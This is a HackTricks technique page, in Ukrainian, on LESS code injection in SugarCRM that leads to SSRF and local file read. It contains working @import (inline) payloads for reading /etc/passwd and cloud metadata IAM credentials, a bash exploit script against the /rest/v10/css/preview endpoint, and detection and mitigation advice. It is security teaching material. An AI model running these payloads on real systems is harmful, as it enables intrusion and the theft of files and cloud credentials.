LESS Code Injection leading to SSRF & Local File Read

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

LESS - це популярний CSS препроцесор, який додає змінні, міксини, функції та потужну директиву @import. Під час компіляції движок LESS отримує ресурси, на які посилаються в директивах @import і вбудовує ("inline") їх вміст у результуючий CSS, коли використовується опція (inline).

Коли додаток конкатенує вхідні дані, контрольовані користувачем, у рядок, який пізніше обробляється компілятором LESS, зловмисник може впровадити довільний код LESS. Зловживаючи @import (inline), зловмисник може змусити сервер отримати:

  • Локальні файли через протокол file:// (розкриття інформації / Локальне включення файлів).
  • Віддалені ресурси в внутрішніх мережах або службах метаданих хмари (SSRF).

Цю техніку було помічено в реальних продуктах, таких як SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Експлуатація

  1. Визначте параметр, який безпосередньо вбудований у рядок стилю, оброблений движком LESS (наприклад, ?lm= в SugarCRM).
  2. Закрийте поточну інструкцію та впровадьте нові директиви. Найбільш поширені примітиви:
  • ; – завершує попереднє оголошення.
  • } – закриває попередній блок (якщо потрібно).
  1. Використовуйте @import (inline) '<URL>'; для читання довільних ресурсів.
  2. За бажанням впровадьте маркер (data: URI) після імпорту, щоб полегшити витяг вмісту, отриманого з скомпільованого CSS.

Читання локальних файлів

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Вміст файлу /etc/passwd з'явиться в HTTP-відповіді безпосередньо перед маркером @@END@@.

SSRF – Хмарні метадані

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Автоматизований PoC (приклад SugarCRM)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Виявлення

  • Шукайте динамічно згенеровані .less або .css відповіді, що містять несанітизовані параметри запиту.
  • Під час перегляду коду шукайте конструкції на кшталт "@media all { .preview { ... ${userInput} ... } }", передані функціям рендерингу LESS.
  • Спроби експлуатації часто включають @import, (inline), file://, http://169.254.169.254 тощо.

Заходи з пом'якшення

  • Не передавайте ненадійні дані компілятору LESS.
  • Якщо потрібні динамічні значення, належним чином екрануйте/санітуйте їх (наприклад, обмежте числовими токенами, білого списку).
  • Вимкніть, коли це можливо, можливість використовувати (inline) імпорти або обмежте дозволені протоколи до https.
  • Тримайте залежності в актуальному стані – SugarCRM виправила цю проблему в версіях 13.0.4 та 14.0.1.

Реальні випадки

ПродуктВразливий кінецьВплив
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Неавтентифікований SSRF та читання локальних файлів

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks